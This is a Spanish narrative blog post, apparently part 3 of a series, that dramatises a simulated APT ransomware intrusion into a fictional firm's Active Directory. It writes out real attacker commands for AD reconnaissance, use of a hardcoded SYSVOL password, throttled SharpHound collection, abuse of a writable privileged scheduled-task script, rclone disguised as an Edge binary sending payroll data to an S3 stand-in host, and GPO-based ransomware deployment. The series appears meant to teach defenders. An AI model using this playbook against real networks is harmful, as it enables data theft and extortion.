Anatomía de una APT simulada. Parte 3 – Dentro del bosque de Active Directory
Durante veinticuatro horas, Nebula Jackal dejo que el portátil de Marta Solis siguiera viviendo. Teams. Outlook. SAP. Excel. OneDrive. VPN. Cafe. Reuniones. El implante observaba con la paciencia de un sensor.
Task: host_profile.deep
Scope: local only
Timeout: 90s
Output max: 48KB
El resultado:
Hostname: ES-MAD-FIN-0472
Domain: IBERLOGIX.LOCAL
User: IBERLOGIXmsolis
Groups:
Domain Users
Finance-Madrid
SAP-FI-Users
VPN-Employees
M365-E5-Users
Mapped drives:
H: \fs-mad-02home$msolis
P: \fs-mad-04finance
S: \sap-share-01exports
Processes:
Teams.exe
OUTLOOK.EXE
OneDrive.exe
saplogon.exe
EDR:
Defender for Endpoint sensor
Third-party agent legacy mode
El valor no estaba en la máquina. Estaba en sus relaciones.
Primer mapa: no escanear, preguntar
Comandos de bajo ruido:
nltest /dsgetdc:IBERLOGIX
whoami /groups
net use
cmdkey /list
gpresult /r
echo %LOGONSERVER%
Después, consultas LDAP muy medidas:
([adsisearcher]"(sAMAccountName=msolis)").FindOne().Properties
([adsisearcher]"(&(objectClass=group)(cn=*Finance*))").FindAll()
([adsisearcher]"(&(objectClass=computer)(operatingSystem=*Server*))").FindAll()
Nada de BloodHound aun. Primero había que saber si el dominio olía a trampa, si había honeytokens, si había auditoria agresiva o nombres demasiado perfectos.
Una salida llamo la atención:
Drive P: \fs-mad-04finance
Access: Read/Write
Y otra más:
\sap-share-01exports
El equipo no necesitaba Domain Admin para causar dolor. Finanzas y SAP ya eran leverage. Pero The Curator quería tres cosas antes de cifrar:
1. Datos sensibles demostrables
2. Capacidad de interrupción amplia
3. Conocimiento de backups
Eso implicaba moverse.
El hilo suelto en SYSVOL
En `SYSVOL`, un script antiguo de login:
\IBERLOGIX.LOCALSYSVOLIBERLOGIX.LOCALscriptsmap_sap_drives.bat
Contenido:
net use S: \sap-share-01exports /user:IBERLOGIXsap_ro Iber2023Read!
La contraseña llevaba años allí. El usuario `sap_ro` era teóricamente de solo lectura, pero en la práctica tenía acceso a exportaciones de SAP con información financiera, proveedores, facturas y reportes.
Knifewall no celebró. Documentó.
Finding: hardcoded credential in SYSVOL
Account: IBERLOGIXsap_ro
Privilege: read SAP exports
Use: data access, pivot candidate
Risk: low-noise
Probaron la credencial sin generar ruido:
net use \sap-share-01exports /user:IBERLOGIXsap_ro Iber2023Read!
dir \sap-share-01exports2026
Funcionó.
Hollow, el operador de exfiltración, entró en la campaña.
Credenciales no son contraseñas: son contexto
FS-MAD-04
SAP-SHARE-01
VEEAM-MAD-01
DC-MAD-01
DC-LIS-01
SCCM-PRI-01
JMP-ADM-02
El nombre `JMP-ADM-02` era interesante: jump server administrativo.
Knifewall no podía acceder directamente. Pero podía buscar rastros:
dir \fs-mad-04financeIT-Billing
dir \fs-mad-04financeAudit
findstr /S /I "JMP-ADM VEEAM SCCM admin" \fs-mad-04finance*.txt
Encontraron una hoja Excel de auditoria con columnas mal protegidas. Incluía grupos:
IT-Backup-Admins
IT-Workstation-Admins
SAP-Basis-Operators
Tier1-Helpdesk
Y un comentario:
Pendiente retirar a j.ruiz de IT-Backup-Admins tras migración TransIber.
El usuario `j.ruiz` pertenecía a la filial adquirida. Las adquisiciones dejan permisos como una marea deja basura.
Consulta LDAP:
([adsisearcher]"(sAMAccountName=j.ruiz)").FindOne().Properties.memberof
Resultado:
CN=IT-Backup-Admins,OU=Groups,DC=iberlogix,DC=local
CN=VPN-Employees,OU=Groups,DC=iberlogix,DC=local
CN=TransIber-IT,OU=Groups,DC=iberlogix,DC=local
El plan cambió: obtener credenciales o sesión de `j.ruiz`.
Cloud primero: Meridian abre el correo
Meridian uso el token capturado antes de que expirara para enumerar datos básicos:
Mailbox: marta.solis@iberlogix.example
MFA: yes
Conditional Access: medium
Device compliance: required for some apps
OneDrive: active
SharePoint finance sites: accessible
Lo mas valioso fue el correo. En Outlook, las conversaciones sobre la migración de TransIber mencionaban a `j.ruiz`. Marta había recibido mensajes de Javier Ruiz, técnico de integración, con adjuntos de inventario.
Nebula Jackal preparó un segundo phishing, interno, desde la cuenta de Marta. Mucho mas pequeño. Solo tres destinatarios. Uno era Javier.
El enlace llevaba a una landing interna falsa con documento compartido. Javier, saturado por la integración, hizo clic.
Esta vez no hizo falta malware. La ruta capturó credenciales y un token útil.
Del usuario al backup
Primero comprobaron pertenencia:
whoami /groups
net localgroup administrators /domain
Después probaron acceso remoto con bajo ruido:
Test-NetConnection VEEAM-MAD-01 -Port 5985
Test-NetConnection VEEAM-MAD-01 -Port 445
WinRM estaba abierto desde ciertos segmentos. Desde el portátil de Marta no. Desde la VPN de Javier, si.
El operador creó un canal separado. No quería mezclar la máquina de Marta con acciones administrativas. Usó el acceso de Javier desde un nodo de infraestructura que imitaba VPN residencial europea, respetando horarios.
Los comandos fueron:
Enter-PSSession -ComputerName VEEAM-MAD-01 -Credential IBERLOGIXj.ruiz
hostname
whoami /all
Javier no era administrador local directamente. Pero pertenecía a `IT-Backup-Admins`, y ese grupo tenía permisos dentro de Veeam.
El servidor Veeam era una mina. En muchas empresas, el backup ve todo porque debe copiar todo. Si comprometes backup, no solo puedes robar datos; puedes destruir la recuperación.
Knifewall no borró backups aún. Primero enumeró:
Get-ChildItem "C:Program FilesVeeamBackup and ReplicationBackup"
Get-Service | Where-Object {$_.Name -like "*Veeam*"}
Hollow buscó configuraciones:
dir "C:ProgramDataVeeam" -Recurse -ErrorAction SilentlyContinue
El hallazgo crítico fue una base de datos local de configuración y scripts de mantenimiento con credenciales de repositorios. Otro hilo suelto.
BloodHound, pero tarde y con guantes
Usaron SharpHound en modo limitado:
SharpHound.exe -c Group,Session,LocalAdmin,Trusts,ACL `
--Throttle 1500 `
--Jitter 30 `
--RandomFileNames `
--OutputDirectory C:ProgramDataMicrosoftCryptoCache
Los datos se comprimieron, cifraron y salieron en fragmentos pequeños.
El grafo reveló una ruta:
j.ruiz
-> MemberOf IT-Backup-Admins
-> AdminTo VEEAM-MAD-01
-> HasSession svc_veeam
-> MemberOf Backup-Operators
-> GenericAll over GPO "Server Backup Policy"
-> linked to OU=Servers
Y otra:
SCCM-PRI-01
-> client push account stored
-> local admin on workstation fleet
El SCCM era tentador. Pero tocar SCCM podía generar mucho ruido. Guardaron esa ruta para despliegue final.
Escalada por servicios, tokens y paciencia
Intentar dumpear LSASS era ruidoso. Knifewall probó alternativas:
1. Enumerar procesos con tokens accesibles
2. Revisar servicios con rutas modificables
3. Buscar credenciales DPAPI accesibles
4. Revisar tareas programadas
5. Revisar scripts de backup
Comandos:
schtasks /query /fo LIST /v
Get-ChildItem C:Scripts -Recurse
Get-Acl C:Scripts*.ps1
Y encontraron:
C:Scriptspost_backup_sync.ps1
Ejecutado por una tarea programada como `IBERLOGIXsvc_veeam`. Permisos:
BUILTINUsers: Read, Write
Era un fallo de libro: script escribible ejecutado por cuenta privilegiada.
No insertaron una reverse shell evidente. Insertaron una modificación mínima que exportaba un token DPAPI protegido y creaba una tarea temporal controlada. Después restauraron el script.
Pseudoflujo:
backup original script
append minimal command
wait scheduled execution
collect output
restore original script
delete transient artifacts
Con `svc_veeam`, accedieron a repositorios y servidores de backup. Descubrieron que algunos backups eran inmutables, pero otros no. La recuperación no estaba perdida, pero si degradada.
The Curator marcó:
backup_pressure: medium-high
do_not_destroy_all: keep recovery plausible
Un ransomware que destruye absolutamente todo reduce la posibilidad de pago si la victima piensa que nada funcionará. Nebula Jackal prefería dejar una salida: pagar o sufrir semanas.
Exfiltracion: robar sin parecer robo
Búsquedas:
Get-ChildItem \fs-mad-04finance -Recurse -Include *.xlsx,*.pdf,*.docx |
Where-Object {$_.Length -gt 10KB -and $_.Length -lt 100MB}
Patrones:
contrato
nomina
payroll
audit
legal
litigation
merger
transiber
board
insurance
cyber
Encontraron:
\fs-mad-04financeBoard2026_Q1_Cashflow.xlsx
\fs-mad-04financePayrollESNominas_Marzo_2026.xlsx
\fs-mad-04financeInsuranceCyberPolicy_2026.pdf
\sap-share-01exportsvendors_full_2026.csv
\legal-mad-01casesTransIber_Acquisition_Disputes.docx
El documento de seguro ciber era especialmente valioso. Revelaba cobertura, retención, contactos de broker y limites. Vesper lo usaría después.
Para exfiltrar, usaron `rclone` renombrado como binario interno:
C:ProgramDataMicrosoftEdgeUpdateedgecache.exe
Configuración cifrada:
[stage]
type = s3
provider = Other
access_key_id =
secret_access_key =
endpoint = https://s3-compatible-node.example
acl = private
Comando:
edgecache.exe copy "\fs-mad-04financePayroll" stage:iberlogix-a1/payroll `
--transfers 3 `
--checkers 4 `
--bwlimit 8M `
--log-file C:ProgramDataMicrosoftEdgeUpdateedgecache.log
No usaban ancho de banda máximo. Usaban ritmo de backup. La exfiltración ocurría entre las 23:00 y las 05:00, mezclada con ventanas reales de sincronización. El volúmen fina fue:
Payroll: 420 GB
Legal: 310 GB
Finance: 860 GB
SAP exports: 1.1 TB
Executive mail exports: 180 GB
Total staged: 2.87 TB
Cada lote tenía manifiesto:
{
"lot": "legal_03",
"files": 18421,
"bytes": 332871992102,
"sha256_manifest": "..."
}
El manifiesto permitía demostrar robo sin mostrar todo.
El dominio cae sin hacer ruido
En un servidor de administración, `JMP-ADM-02`, encontraron una sesión de un administrador de dominio durante una ventana de mantenimiento. No dumpearon LSASS directamente. Usaron token impersonation para ejecutar consultas y crear un acceso persistente temporal.
El grupo objetivo:
GPO-Deployment-Admins
Tenía permisos para modificar una GPO vinculada a workstations. No era Domain Admin, pero para despliegue final era suficiente.
Abuso:
Compromised admin session
-> modify GPO startup script
-> deploy staged payload to selected OUs
-> force update over natural cycle
No ejecutaron `gpupdate /force` global. Esperaron. La paciencia volvió a pagar.
El despliegue final se planificó por lotes:
Batch 1: finance file servers
Batch 2: regional shares
Batch 3: workstations finance/legal
Batch 4: selected application servers
Batch 5: broad workstation encryption if needed
El objetivo no era cifrar absolutamente cada dispositivo. Era crear la sensación correcta de colapso.
Las alarmas que casi funcionaron
Unusual OAuth flow for marta.solis
Rare domain beneficios-iberlogix[.]com
Scheduled task AdobeUpdateSync
LDAP query spike from ES-MAD-FIN-0472
Large outbound transfer from FS-MAD-04
New access pattern for j.ruiz
Pero cada alerta parecía una excepción manejable. El equipo de seguridad estaba atendiendo un despliegue de EDR en la filial. El falso portal de beneficios coincidía con una migración real. Javier Ruiz tenia permisos por integración. Los backups movían datos de noche. Las alertas no formaron historia hasta que fue tarde.
Esa es la lección mas incomoda: muchas intrusiones no fallan por falta de logs, sino por falta de narrativa defensiva.
Nebula Jackal ya tenia:
endpoint foothold: yes
M365 access: partial
finance data: yes
legal data: yes
backup knowledge: yes
GPO deployment route: yes
selected server access: yes
payment pressure: high
The Curator autorizó la ultima fase.
Mensaje interno:
Continúa en la parte 4: La noche del cifrado, la negociación y el reparto
Powered by WPeMatico





